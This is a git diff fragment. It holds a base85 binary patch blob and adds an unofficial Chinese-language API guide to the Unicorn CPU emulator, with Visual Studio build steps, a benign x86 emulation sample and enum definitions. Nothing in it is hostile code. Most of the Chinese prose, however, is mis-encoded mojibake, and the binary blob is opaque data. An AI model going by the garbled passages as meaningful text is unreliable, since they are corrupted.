zSZni-nSTA@kjd%y_viywfha1ga^!h0_*gA=gpzOR({~ai+W<SR-~3=Id#Q1``)1x| zrUV?ikhrYhdc*#UTD3*{pLeL666>$i5F!6jW%B2XkHp(MP-aE^<cLp0p2{wN&kyTj z#)vN0*^h(#oeij3v~uN=AB~_2=0sg|1E`_p`DAw>h#@a*y!Ivo^QvS^-0Isy7OiV# zOf&srm9lZelfW<z-CX5|W=)>@|B(NUZ}66;+{z@{gYcOKyKC!C&Pl5AAEo)ind*wx z6AL|M;aP-Afl6qQc&0&d*kqCr`-$|G`wENT)R$@pQ^TPXGyjCI=`QVgJ4?9-)OHsu z$#3%Ae<eG6`wXu!IN5Ayy%~=K4*zbF(H~xf2FGU_lvFm6v@*wRL*!CZBT7iU)*<<B zz<0e4Q_Pitn1Ah9ll=AKC!4WqubYTXX=FBhiF_3CK0d9Fv;Y<iegUBATp_nv-U^pO z2}tdE7)2@hYTPTXC6k3YMdFRR^xBabLWnb(VN?F+<;d*lq;e(Hcx;!kg<s$>D@`@o zN8D{%z6EWKkKztr#t}!Fk(F)`yIR2WHtyl7I-{A1+28NpGN7S<x87&_m$(GEe*N79 zptp>qy|1rqj9EyRq_6?=d*1zX^66$=+U>I!iLfTCPaWsU<iC9z6t2Z9rW8~)l=bm- zOHU98|7w#fYFDx-L`%xeF?%;K@cWNWovFOw5{}*qwSeA+NB8$JCtyCVZbF*g@O?&* ztj&{>MTdc9qOp}XKF1<i9yh_+=MFtKsY=dh=awM{Rb{!dSbWv{FG%7f=SN>3&)qp8 zM3#1vliJgg!cH;yV}f-d=2@973vSVIl3ua{3Y#|t_l<OIc41W>`AO{sL$ewjeWe7w zTGk7cxZJ7V16Ai+O+b<XzdGeLa{QSF3k85M$yuS2AHQRK-2|bzZT?ad%)Bf)6KtcR zFEKrw@qofdf~~)1RT<35<{Bn$d!)aqweQ$*>=LFuNK#blajFo6kTD=K%Wm<52@%S# z)ztvmL;={*7A5bPqr2mO=@H)`fiwoguVKDYve@6ii%JR|Q-@m4-mc*QXVB54RQExr z;nCNMzHJ|ie{>tjy;#j1TXdYpy9xxxqy+0bL#Tq6K=gwd72j5s+en@waK<9K;-vD# zF03O+wme%A)-c?@O;o^fJ$V0Zdi$e78ezh(bK{KGqF+gW`K=^uzw_pOswPxs4Zt7a zoea8_v{~78h2w7oTf=H9G}J7ZpqGKH4C!|{H3@-~*pDunMze-3<%gN%*p9~EWX{{4 z#nvOgRmbXC+iq`o_#*npy9JtP3jm#|SFT&1t>F1<h*y%e;!J_(V`C`P<Vk^TG@uw! zV3F%Ys#!+EfRg8`YAyA>M;RD#LzQOqcYJDASjoG#CnfM?z}fn{eL~L{jE^Yx4Xsfe z*Arl#)QtoXJ;^lHeJWPT1ay=G0%cDx5K|ONAw**4<nDj*!?>J)mHb8}#!^q&HJJ9h zc+!`FRH*ujK@T6`W2&5hmG#}e3GOhMjh%L00rvW}<3V}Rt+s%K)Hkj*YXcy`Eh!b( zl)CJdhbwx?2nDn%zKBhf@3n@gdG_s$`S(J`qJbVsO3u2`tUQDTHb1m>3uO@5u(2>O z_{MU1VbyNtliZVN%qu9!*@{-)O<#G3S`<Hh_^aMFB+!=<PUPtAK0~`kkkK@MEm}>j zd5OzUA`g%JzT~LN8I)Htd9<SnvJ06RR9cJ++8V;-Gcu=tDNLf-Dyk-?R6XndRCIR( z4tuv&a4NSBMMXA#DrG63_3-M9Eud}y5~F2u{$bUOP}v9)gThe<2qHF5q}W2ut)_MS zw??8fC0;b}4vOUW(C%%P{y|`~U6ilV#S+Gw_!y=t!uh{|j8~oZQ_B9O(Wtt8JbfR~ zazX{f=xlO`^ALx<Xl1Pv16*utyqov*q3`wWS_`KpB2f$3eJE*8@9xeWCbHT4K~Erp z31nsMD(mj{dgcdryM+t&5h=})BJMm8O!jwCUreVxn7=WJc<)n?^pNXbrgzdf<y)_n z;e(eVi2CK>XqF^Ea>x&<Z|Ky~$>{6}8I?mF($z)SOhM=>VXFoiz1>A$iRYw$(m>s) z(tR>`T2Kf%H@yyYM>)mG3u9F_)Z3cKkH5OS`+S>}EO3oD`kKEs=X!iS10OAfh?A~0 zJ2ny+SQ>Lb!S(T(k)PkPJkFbQu4#A8RtcyxRTKdpg(JxZXFp~I)MVv$Dpvt^G--P1 z)M0}-ZGEkH&GR31S;g)7@BrCmaJbhetsi^0S$kH65yB@^T-cw0UnbhUnIe6#kOAA^ znfonjox!y~b_sUSIc4=<vt@FlEFSeFl2cE?RU^??=e|Bd|5(ZcNg0H8IEK2U3usWT z{|}aj2%qSPzZ0sKR=veD%Y)h<$#ndg_V4IZ(>do~7kmrdgB`OfWo?U(x=<%A$)YS| zRQ>j0N)*Z(qf;viRhjl!RhB1BijdmrTR+)b8IP!$A<IV-miv5`T2^6+p8n)e#;udx zftRWY$?MF5!SzZZ8?R|T_<7ggEGuU1ufGNFNhDQbMgdD4bH&lg<;f)4>#&+csD+=q zYM%th@QTU9>cY<S#p^#jUA8?Pf@OAjeRNfWc(O$s%o$i_?utD|BGkNU^1d?*foi<i zV}X;&)+5|+GjZ;#c5Rv?-$_9jYBY-hj3q_#Z(k<l>imO%o>5y~iyJIIB{<#h)`V+Z zD@*k@9lTtllJ|T3sS<4`LSpXl?|ZrZ$ma|W#u{~s)S2ZX=ErXw=9O3t?C`yJreSzE z#lzxFDHrxZtL7cDLJK?VJle0;P>(+5>txN~=IpIiw|$Ral>E^p*h3%fDz1MGf1QcB z)=|6ewNNvAjdb5u$t`+x7xXc8m_2!CsqvS|nt`{5oVJg2(qR&glG>Um*ApIp&LzN= zB4ZfDpBZkj%J=tHG}2f5?@qmq|Buh*e=JQ8B@O_4^@6AYBMK06wH1M8m{(z237F^9 zh<}d#!|cNNHjDCxBD_fBSILWb4KA%|XBsAlC@**_7K$NNYReAK(VGGAW0r+ci~RX> z-@PZAB`3qf$v%1>i_j8xyZ*wIONIUN!@<BA{`L!Od<V;+I>T1^dO#vFHar|UkR5)5 z?v=L{>CHI)ET%mI07Tqk@j(B33!<O#1lQ_gvt1ZjS(-a-x?xYQ)>$kt#ttqy*%pKi zE|(ZVtFJ=#Jx>$X3sv5>+<70;Cx=iNEf*e#yEz6G<xZ>YG}LmCWN>W8fZf=;s(!jY zsG~rJ&9-0Ob&Au>{A#)vU&WT3_36dg$Eh0)c@_>5hjHuX?!@D3E?wh1#JA>oXN1{H z)iO(F20aGA%owOg=M%`0mcJ#AU!HL=>Y;Q<u%i8Ey_)eL=9b>jz}-ndhYUZB<=MGA z?e-{Oc<7(BXBCP8h*S;B%JiFf7MZd+2p}M`YsgReM@D+A@mJPjr5kT{*J5*7N>vCB z(am|YAHRwuF|TNlR#O?@M^Gx1U-A^u66yI=!)u<JhUy2BL9V3%Wq`)(1_skZKetRR z?0*j$kHKW0TuX2-Ur$IIqXO`+968|KovQ{z7hgl((ZrjW&uMR_X(9WrCLR0XdLgKG zUl&VFZt1mdL?Jw}jdFv)-Ocb%fxk;XS^&CAAtP|Rm6QLnx$t)YT7{BFSz7_2QZA6i zc9V?TBgQ-z-1*;H9cG*mItu^o#=X~YR_)=|G>^+Y);Hj{y=)9f8}RFeyJ{ys7S4Xe zBASbG5?L`bvSG;$iKtsFmp$~YXJu1iI&2uAvEv=(R!rf8jRAHHKfvhyO^z!kO=Ab^ zm0i!mw%xX0eBSe>cW}4c3v;sm#}YV}-#y=V!3}*@WMADo4bX!rKl>JNtgkfXKVLrA z6Lbe4`HP_<p_T2D$&$nGV01~~J~klvJCXJvCz~ft`__$z+FLGZlv;~eW8lQbQ$gU5 z%mreqbHKQION=223%})ANc5w^eS7sFVpZ&H!~A_fa%lnGWC(S=I{Wc3rS3YFyY_DV zfMJph@1~1w`cWf&FxY&2`QmGrij+6+y2jegYv-hegKu?kqb}k-U;YSw`y?a~wmbDk z^%*w$qX6+AzqO8?hs2Bru}<bL;q;@Mnyd0}%ZwSO{P0C%SEmZ^GbwWln(yz&3kMcd za=}#VhGXI}TW^fDMPQL%a`%-e5}baV%DD`#N{?&~ZszyC3sqnL`<*JW*>bKVsI?TB z&CFb_NyUa#AyDkh*KzbQX$*-qw<<$PFQCp*lA)pG)?(v5wOfz9KITx*ZM#&v-gfM4 za|`lmmCG@yA<j1aO_cknRmD4R;*jCgOhgxo9_Wj(AqhDFmFSaql74zrRLLJ&x1IO| z&I`FiSy3tGIMshQfNfOYFSNq~{<QJN^iU(y`}RK!#wnszi#1*N(+~YBPrNi->z9pV zE75<HjijU}w*Or^gZbsj)(>&FZ~-g!%a%8fAHJq@d|$#k#-(xdefLx;4@nCxt`t-B z%=;J0R3|$|E(&o7Ww3GJ8@EwI58>Zm$!YsFBQVBMv?o6xNn^2hr?gnCFe6O6KwTAb zCT*wpf-|R;?*|3fY=4ZZU@HgDFwh@#hnJ7_4gC!;d#gyN7NFqRyCk#maCg;#A^+G? zJa@E8k*C2C@4|=Em`;=>2du$9#SvQZ3j^2jUbi5_XRXGXwQ4+MC-V8{wS{t@2$I4z zsIB8sDID_xktX7~1=q<wBKYA=lFu%b<OeQuj~L7qKkZM%D2ee%6DQ-vA`OfRWCS<j zwsEiI)PMG>2v!-hY_$FGyFUZcXM{7PK&_BTu?(Y}Zxuf98NRffHqG4yr19+UL8zth z)k(M{uw&+9_wMzrqw^2D6vHp^NvWbCnP&C@#!6%kzncZH{@-bYU(z6tfUb#<B3jvX zDT!k97f2LN2ol;F8^xlMHt)pNimB$LBFxwGwLy+rZU<(2zO=i&cZ&OJzqk~(W8@|> zbrd|AKIoLSm2`*G6ss!Y9z^hBg~G2>TBruU@gl-27~Xb^jrYKX#aGPsk3Jr5S!>`i zOW@{bfZ{@R{NfUA<fq<dd*%(<)(ENgPGCSC2CYj4gq<x$I7{HQg>h*h8(VabIZhcf zu$zjhke}AXPL$bdxk@#ECvIQoS!7Be?!9Mwp;R1TlX_nKLVl~y+d8;`I(H7GQ20PL zx3}v3e?w%)R+5)=RXv*u=MdOGH2ujJw~UyT4vZu4iEh%t?Fx~4*{Pc?y|c77U;q6A zz*Xw{mfxs99i<yvwiBXx$&z30VEfZ;n{9&^F2<Q=%1Y-~(n~n%&?WtGu1TIL=dG6T z$%OS#h0~PeYZ_&5QylV2j?ex1c`}d%syRcR9tITlo+|her9GW1L`gi8GF=hKQ1qaQ zDRzu#lslk85|0H8cr|>S8)F%>K21%}GhqJQ&h~L>p)`ZrD|96Gj<3lzB~B9jq%`g< zOv&kErkFLsy+I~}TKkXe^Rt+GHV+^HhI<A{vq)n~o>w02wp1|wiK}VAZl18wLEIjG zX&kcXpv^dMaY@x0lsnbYB+jV8+cqT$>#%<=0;u8*YzjNXG!MTQd4bR0JQ2wXSP5<| z?;BsXY$bj>btSk!d~lJ#^Nw{|xrLRX0=oR$OFR%+%<IEf(=VFz-$Dd)E=SXj^)fwX z%=-&NrH-#z5T#{xW2X0`EZ)XdJm&i9a3zQK1!*z`B-zFjkPv$6gx}PrZv`4!^FkNu zg0gwwiOby)rhzk46YreIY~d#*cHi9h6v<pu{_P3inuA25<ZH%#CFb*aG9$)91uhJI zthKO_EK=PPyTAq$wCWLUFsW4M&$(spy2$3YA0G>I4?*Y9)s}0*O+;Y!q&T281)k+a zsTWi>)!nLft5a7+s)Yr4loOG+qcCu3!HU@83$-e*4U=J7qg<VGYrPy!e1e4VHrK3` z#*lMilD29ra;^<|QoTTzG@dCdvDHEpmf2HZTO$}!J4d={Pk-7}RHnL;OfvM*)ZVh% z3zG_GeX!ee-xE4l@$k~b(}9BIAKf||{sk>N#z>9ev3o_X&RBDkmD)U4QQ9a{zX27@ z%%3UX+MJ{|I;5F2XbA!p@%`%Au;lVASc0RHn}KSn4l<VEVkVdb$zfB-shCM(AseWq z-;R-f#IUM$#?|+yd{~Kg4bK)#4vnexpNKcdaX<nVPN#n-Z_+hS<Gq$nYCS=#9{;`a zyiL!GZH>LG%L1I{Vg0`25~|1}y8Izvtlro^2Ed{I^?%k7p!V6s6jgrJb<wXgJbAup zmw9n!Q8fp97~uN>e!O*b&$<oFYc%pcM1Lgbj6Dj_ykQSAjjqf<to*Xq=4=#)bi}}K zUX`)!c;$51jWOl*rpix}{9>5eO2lYM19hs|%Y<7H#DLRl7`lkl|FB-kXk)zWS%z_m zm5rq9s>#fs@`r*&HLfJRFobDyn1{HFZkErXzI0rLlr!)E7x6WTjbJDMEmk=wvt)nL z>L2T>*76pP!I5<N1RFw&AAmuyyrZ+3Gn-Zv`co43xo*vWC6JB!icS)oKJ3cs%Gw9o zqThuR)|b9`I1~^N8Xj%eGec%r^gx4}(HwTK-VIda4NOA{Lr6X!9$GRCY#==Ny7jC_ z*gGMI)|pi+mrm{_hun41&50WbZ(fD+i(UT6z2`4%SLOe`L>JCFAa3!ZczopKyybLl zuF*4-o7YucZWLwW!!1&77%=U4tc2hkEDJpg8HfrVgF@fj9?aUk*T{=XbwJ=Pm}bVs zPSO>5Wb{&=33S4?dL^$i>n)z9-bB<p{`Tz8SA8pAcF3`?z)rx7CBKnTxiZ<FyQ#sQ zdh6l3L?4pWcCTK%FsG=TI)IlOljEQNIXtc!KM`^*gg}y>($eVGy6q<n0rx#G_cPVS zL?7G(NDB)#^ve30Vi8_i991s9Q?Au$vM<^Vf2vA56s>5bL=Bxyw4T#=q5Hf_?d_-k E2N$L`Z~y=R literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/Micro Unicorn-Engine API Documentation.md b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/Micro Unicorn-Engine API Documentation.md new file mode 100644 index 0000000..fab030a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/Micro Unicorn-Engine API Documentation.md @@ -0,0 +1,2754 @@ +# Micro Unicorn-Engine API Documentation + +**Warning:** ***This is an unofficial API document by [kabeor](https://github.com/kabeor), If there are any mistakes, welcome to ask.*** + +**注æ„:** ***这是由kabeor制作的éžå®˜æ–¹APIå‚考文档,如有错误欢迎æå‡ºï¼Œè§‰å¾—ä¸é”™å¯ä»¥ç»™ä¸ªstar鼓励我*** + +之å‰å¯¹Capstoneåæ±‡ç¼–引擎的APIåˆ†æžæ–‡æ¡£å·²ç»è¢«[官方](http://www.capstone-engine.org/documentation.html)收录 https://github.com/kabeor/Micro-Capstone-Engine-API-Documentation ,在实现自己想è¦åšå‡ºçš„调试器的路上,åˆé‡åˆ°äº†ä¸ŽCapstoneåŒä½œè€…的国外大佬aquynhçš„å¦ä¸€ä¸ªè‘—å项目Unicorn,ä¸å·§çš„æ˜¯ï¼Œè¯¦å°½çš„API文档ä»ç„¶è¾ƒå°‘,更多的是大篇幅的代ç ï¼Œå› æ­¤å†³å®šç»§ç»­åˆ†æžUnicorn框架,包括数æ®ç±»åž‹ï¼Œå·²å¼€æ”¾APIåŠå…¶å®žçŽ°ã€‚ + +Unicorn是一个轻é‡çº§, 多平å°, 多架构的CPU模拟器框架,基于qemuå¼€å‘,它å¯ä»¥ä»£æ›¿CPU模拟代ç çš„æ‰§è¡Œï¼Œå¸¸ç”¨äºŽæ¶æ„代ç åˆ†æžï¼ŒFuzz等,该项目被用于Radare2逆å‘åˆ†æžæ¡†æž¶ï¼ŒGEF(gdbçš„pwnåˆ†æžæ’ä»¶),Pwndbg,Angrç¬¦å·æ‰§è¡Œæ¡†æž¶ç­‰å¤šä¸ªè‘—åé¡¹ç›®ã€‚æŽ¥ä¸‹æ¥æˆ‘也将通过阅读æºç å’Œä»£ç å®žé™…调用æ¥å†™ä¸€ä¸ªç®€å•çš„éžå®˜æ–¹ç‰ˆæœ¬çš„API手册。 + +Blog: kabeor.cn + +## 0x0 å¼€å‘准备 + +Unicorn官网: http://www.unicorn-engine.org + +### 自行编译libå’Œdll方法 + +æºç ï¼š https://github.com/unicorn-engine/unicorn/archive/master.zip + +下载åŽè§£åŽ‹ + +文件结构如下: + +``` +. <- 主è¦å¼•擎core engine + README + 编译文档COMPILE.TXT ç­‰ +├── arch <- å„语言å编译支æŒçš„代ç å®žçް +├── bindings <- 中间件 +│ ├── dotnet <- .Net 中间件 + æµ‹è¯•ä»£ç  +│ ├── go <- go 中间件 + æµ‹è¯•ä»£ç  +│ ├── haskell <- Haskell 中间件 + æµ‹è¯•ä»£ç  +│ ├── java <- Java 中间件 + æµ‹è¯•ä»£ç  +│ ├── pascal <- Pascal 中间件 + æµ‹è¯•ä»£ç  +│ ├── python <- Python 中间件 + æµ‹è¯•ä»£ç  +│ ├── ruby <- Ruby 中间件 + æµ‹è¯•ä»£ç  +│ └── vb6 <- VB6 中间件 + æµ‹è¯•ä»£ç  +├── docs <- æ–‡æ¡£ï¼Œä¸»è¦æ˜¯Unicorn的实现æ€è·¯ +├── include <- C头文件 +├── msvc <- Microsoft Visual Studio 支æŒï¼ˆWindows) +├── qemu <- qemu框架æºç  +├── samples <- Unicorn使用示例 +└── tests <- C语言测试用例 +``` + +䏋颿¼”示Windows10使用Visual Studio2019编译 + +打开msvc文件夹,内部结构如下 + +![image.png](API_Doc_Pic/iyodlNFY7hHEOgS.png) + +VS打开unicorn.sln项目文件,解决方案自动载入这些 + +![image.png](API_Doc_Pic/fOnNpSKvjYyc7QB.png) + +如果都需è¦çš„è¯ï¼Œç›´æŽ¥ç¼–译就好了,åªéœ€è¦å…¶ä¸­å‡ ç§ï¼Œåˆ™å³é”®è§£å†³æ–¹æ¡ˆ->属性->é…置属性 如下 + +![image.png](API_Doc_Pic/F3rSByYuNTGDtC1.png) + +生æˆé€‰é¡¹ä¸­å‹¾é€‰ä½ éœ€è¦çš„æ”¯æŒé¡¹å³å¯ + +项目编译属性为: +1. 使用多字节字符集 +2. ä¸ä½¿ç”¨é¢„编译头 +3. 附加选项 /wd4018 /wd4244 /wd4267 +4. 预处ç†å™¨å®šä¹‰ä¸­æ·»åŠ  ` _CRT_SECURE_NO_WARNINGS` + +编译åŽä¼šåœ¨å½“剿–‡ä»¶å¤¹Debug目录下生æˆunicorn.lib陿€ç¼–译库和unicorn.dll动æ€åº“这样就å¯ä»¥å¼€å§‹ä½¿ç”¨Unicorn进行开å‘了 + +编译到最åŽä¸€é¡¹å¯èƒ½ä¼šæŠ¥é”™ç³»ç»Ÿæ‰¾ä¸åˆ°æŒ‡å®šçš„路径,查看makefileå‘现问题出现在此处 +![image.png](API_Doc_Pic/YCMNcEVyX8GHoPb.png) + +事实上åªä¸è¿‡æ˜¯ä¸èƒ½å°†ç”Ÿæˆçš„libå’Œdllå¤åˆ¶åˆ°æ–°å»ºçš„æ–‡ä»¶å¤¹è€Œå·²ï¼Œåªéœ€è¦åˆ°ç”Ÿæˆç›®å½•去找å³å¯ã€‚ + +å®˜æ–¹ç›®å‰æä¾›çš„æœ€æ–°å·²ç¼–è¯‘ç‰ˆæœ¬ä¸º1.0.1版本,比较è€ï¼Œå»ºè®®è‡ªå·±ç¼–辑最新版本æºç ï¼Œä»¥èŽ·å¾—æ›´å¤šå¯ç”¨API。 +Win32:https://github.com/unicorn-engine/unicorn/releases/download/1.0.1/unicorn-1.0.1-win32.zip +Win64:https://github.com/unicorn-engine/unicorn/releases/download/1.0.1/unicorn-1.0.1-win64.zip + +**注æ„: 选x32或x64将影å“åŽé¢å¼€å‘çš„ä½æ•°** + + + +### 引擎调用测试 + +新建一个VS项目,将..\unicorn-master\include\unicorn中的头文件以åŠç¼–译好的libå’Œdll文件全部拷è´åˆ°æ–°å»ºé¡¹ç›®çš„主目录下 + +![image.png](API_Doc_Pic/I25E9sWcJpGyax7.png) + +在VS解决方案中,头文件添加现有项unicorn.hï¼Œèµ„æºæ–‡ä»¶ä¸­æ·»åŠ unicorn.libï¼Œé‡æ–°ç”Ÿæˆè§£å†³æ–¹æ¡ˆ + +![image.png](API_Doc_Pic/OVaHwelNQ4tcLmo.png) + +æŽ¥ä¸‹æ¥æµ‹è¯•我们生æˆçš„unicorn框架 + +主文件代ç å¦‚下 + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" + +// è¦æ¨¡æ‹Ÿçš„æŒ‡ä»¤ +#define X86_CODE32 "\x41\x4a" // INC ecx; DEC edx + +// èµ·å§‹åœ°å€ +#define ADDRESS 0x1000000 + +int main() +{ + uc_engine* uc; + uc_err err; + int r_ecx = 0x1234; // ECX 寄存器 + int r_edx = 0x7890; // EDX 寄存器 + + printf("Emulate i386 code\n"); + + // X86-32bit 模å¼åˆå§‹åŒ–模拟 + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + + // 给模拟器申请 2MB 内存 + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // å°†è¦æ¨¡æ‹Ÿçš„æŒ‡ä»¤å†™å…¥å†…å­˜ + if (uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1)) { + printf("Failed to write emulation code to memory, quit!\n"); + return -1; + } + + // åˆå§‹åŒ–寄存器 + uc_reg_write(uc, UC_X86_REG_ECX, &r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, &r_edx); + + printf(">>> ECX = 0x%x\n", r_ecx); + printf(">>> EDX = 0x%x\n", r_edx); + + // æ¨¡æ‹Ÿä»£ç  + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32) - 1, 0, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + // 打å°å¯„存器值 + printf("Emulation done. Below is the CPU context\n"); + + uc_reg_read(uc, UC_X86_REG_ECX, &r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, &r_edx); + printf(">>> ECX = 0x%x\n", r_ecx); + printf(">>> EDX = 0x%x\n", r_edx); + + uc_close(uc); + + return 0; +} +``` + +è¿è¡Œç»“果如下 + +![image.png](API_Doc_Pic/bpu4r8hgzUvO7Pm.png) + +ecx+1å’Œedx-1æˆåŠŸæ¨¡æ‹Ÿã€‚ + +## 0x1 æ•°æ®ç±»åž‹åˆ†æž + +### uc_arch + +架构选择 + +```cpp +typedef enum uc_arch { + UC_ARCH_ARM = 1, // ARM æž¶æž„ (包括 Thumb, Thumb-2) + UC_ARCH_ARM64, // ARM-64, 也称 AArch64 + UC_ARCH_MIPS, // Mips æž¶æž„ + UC_ARCH_X86, // X86 æž¶æž„ (包括 x86 & x86-64) + UC_ARCH_PPC, // PowerPC æž¶æž„ (æš‚ä¸æ”¯æŒ) + UC_ARCH_SPARC, // Sparc æž¶æž„ + UC_ARCH_M68K, // M68K æž¶æž„ + UC_ARCH_MAX, +} uc_arch; +``` + + + +### uc_mode + +模å¼é€‰æ‹© + +```cpp +typedef enum uc_mode { + UC_MODE_LITTLE_ENDIAN = 0, // å°ç«¯åºæ¨¡å¼ (默认) + UC_MODE_BIG_ENDIAN = 1 << 30, // å¤§ç«¯åºæ¨¡å¼ + + // arm / arm64 + UC_MODE_ARM = 0, // ARM æ¨¡å¼ + UC_MODE_THUMB = 1 << 4, // THUMB æ¨¡å¼ (包括 Thumb-2) + UC_MODE_MCLASS = 1 << 5, // ARM's Cortex-M 系列 (æš‚ä¸æ”¯æŒ) + UC_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM (æš‚ä¸æ”¯æŒ) + + // arm (32bit) cpu 类型 + UC_MODE_ARM926 = 1 << 7, // ARM926 CPU 类型 + UC_MODE_ARM946 = 1 << 8, // ARM946 CPU 类型 + UC_MODE_ARM1176 = 1 << 9, // ARM1176 CPU 类型 + + // mips + UC_MODE_MICRO = 1 << 4, // MicroMips æ¨¡å¼ (æš‚ä¸æ”¯æŒ) + UC_MODE_MIPS3 = 1 << 5, // Mips III ISA (æš‚ä¸æ”¯æŒ) + UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA (æš‚ä¸æ”¯æŒ) + UC_MODE_MIPS32 = 1 << 2, // Mips32 ISA + UC_MODE_MIPS64 = 1 << 3, // Mips64 ISA + + // x86 / x64 + UC_MODE_16 = 1 << 1, // 16-bit æ¨¡å¼ + UC_MODE_32 = 1 << 2, // 32-bit æ¨¡å¼ + UC_MODE_64 = 1 << 3, // 64-bit æ¨¡å¼ + + // ppc + UC_MODE_PPC32 = 1 << 2, // 32-bit æ¨¡å¼ (æš‚ä¸æ”¯æŒ) + UC_MODE_PPC64 = 1 << 3, // 64-bit æ¨¡å¼ (æš‚ä¸æ”¯æŒ) + UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions æ¨¡å¼ (æš‚ä¸æ”¯æŒ) + + // sparc + UC_MODE_SPARC32 = 1 << 2, // 32-bit æ¨¡å¼ + UC_MODE_SPARC64 = 1 << 3, // 64-bit æ¨¡å¼ + UC_MODE_V9 = 1 << 4, // SparcV9 æ¨¡å¼ (æš‚ä¸æ”¯æŒ) + + // m68k +} uc_mode; +``` + + + +### uc_err + +错误类型,是uc_errno()的返回值 + +```cpp +typedef enum uc_err { + UC_ERR_OK = 0, // 无错误 + UC_ERR_NOMEM, // 内存ä¸è¶³: uc_open(), uc_emulate() + UC_ERR_ARCH, // 䏿”¯æŒçš„æž¶æž„: uc_open() + UC_ERR_HANDLE, // ä¸å¯ç”¨å¥æŸ„ + UC_ERR_MODE, // ä¸å¯ç”¨/䏿”¯æŒæž¶æž„: uc_open() + UC_ERR_VERSION, // 䏿”¯æŒç‰ˆæœ¬ (中间件) + UC_ERR_READ_UNMAPPED, // 由于在未映射的内存上读å–而退出模拟: uc_emu_start() + UC_ERR_WRITE_UNMAPPED, // 由于在未映射的内存上写入而退出模拟: uc_emu_start() + UC_ERR_FETCH_UNMAPPED, // ç”±äºŽåœ¨æœªæ˜ å°„çš„å†…å­˜ä¸­èŽ·å–æ•°æ®è€Œé€€å‡ºæ¨¡æ‹Ÿ: uc_emu_start() + UC_ERR_HOOK, // 无效的hook类型: uc_hook_add() + UC_ERR_INSN_INVALID, // 由于指令无效而退出模拟: uc_emu_start() + UC_ERR_MAP, // 无效的内存映射: uc_mem_map() + UC_ERR_WRITE_PROT, // 由于UC_MEM_WRITE_PROT冲çªè€Œåœæ­¢æ¨¡æ‹Ÿ: uc_emu_start() + UC_ERR_READ_PROT, // 由于UC_MEM_READ_PROT冲çªè€Œåœæ­¢æ¨¡æ‹Ÿ: uc_emu_start() + UC_ERR_FETCH_PROT, // 由于UC_MEM_FETCH_PROT冲çªè€Œåœæ­¢æ¨¡æ‹Ÿ: uc_emu_start() + UC_ERR_ARG, // æä¾›ç»™uc_xxxå‡½æ•°çš„æ— æ•ˆå‚æ•° + UC_ERR_READ_UNALIGNED, // 未对é½è¯»å– + UC_ERR_WRITE_UNALIGNED, // 未对é½å†™å…¥ + UC_ERR_FETCH_UNALIGNED, // 未对é½çš„æå– + UC_ERR_HOOK_EXIST, // 此事件的钩å­å·²ç»å­˜åœ¨ + UC_ERR_RESOURCE, // 资æºä¸è¶³: uc_emu_start() + UC_ERR_EXCEPTION, // 未处ç†çš„CPU异常 + UC_ERR_TIMEOUT // 模拟超时 +} uc_err; +``` + + + +### uc_mem_type + +UC_HOOK_MEM_*的所有内存访问类型 + +```cpp +typedef enum uc_mem_type { + UC_MEM_READ = 16, // 内存从..è¯»å– + UC_MEM_WRITE, // 内存写入到.. + UC_MEM_FETCH, // å†…å­˜è¢«èŽ·å– + UC_MEM_READ_UNMAPPED, // 未映射内存从..è¯»å– + UC_MEM_WRITE_UNMAPPED, // 未映射内存写入到.. + UC_MEM_FETCH_UNMAPPED, // æœªæ˜ å°„å†…å­˜è¢«èŽ·å– + UC_MEM_WRITE_PROT, // å†…å­˜å†™ä¿æŠ¤ï¼Œä½†æ˜¯å·²æ˜ å°„ + UC_MEM_READ_PROT, // å†…å­˜è¯»ä¿æŠ¤ï¼Œä½†æ˜¯å·²æ˜ å°„ + UC_MEM_FETCH_PROT, // 内存ä¸å¯æ‰§è¡Œï¼Œä½†æ˜¯å·²æ˜ å°„ + UC_MEM_READ_AFTER, // 内存从 (æˆåŠŸè®¿é—®çš„åœ°å€) 读入 +} uc_mem_type; +``` + + + +### uc_hook_type + +uc_hook_add()的所有hookç±»åž‹å‚æ•° + +```cpp +typedef enum uc_hook_type { + // Hook 所有中断/syscall 事件 + UC_HOOK_INTR = 1 << 0, + // Hook 一æ¡ç‰¹å®šçš„æŒ‡ä»¤ - åªæ”¯æŒéžå¸¸å°çš„æŒ‡ä»¤å­é›† + UC_HOOK_INSN = 1 << 1, + // Hook ä¸€æ®µä»£ç  + UC_HOOK_CODE = 1 << 2, + // Hook åŸºæœ¬å— + UC_HOOK_BLOCK = 1 << 3, + // 用于在未映射的内存上读å–内存的Hook + UC_HOOK_MEM_READ_UNMAPPED = 1 << 4, + // Hook 无效的内存写事件 + UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5, + // Hook 执行事件的无效内存 + UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6, + // Hook è¯»ä¿æŠ¤çš„å†…å­˜ + UC_HOOK_MEM_READ_PROT = 1 << 7, + // Hook å†™ä¿æŠ¤çš„å†…å­˜ + UC_HOOK_MEM_WRITE_PROT = 1 << 8, + // Hook ä¸å¯æ‰§è¡Œå†…存上的内存 + UC_HOOK_MEM_FETCH_PROT = 1 << 9, + // Hook 内存读å–事件 + UC_HOOK_MEM_READ = 1 << 10, + // Hook 内存写入事件 + UC_HOOK_MEM_WRITE = 1 << 11, + // Hook å†…å­˜èŽ·å–æ‰§è¡Œäº‹ä»¶ + UC_HOOK_MEM_FETCH = 1 << 12, + // Hook 内存读å–事件,åªå…许能æˆåŠŸè®¿é—®çš„åœ°å€ + // æˆåŠŸè¯»å–åŽå°†è§¦å‘回调 + 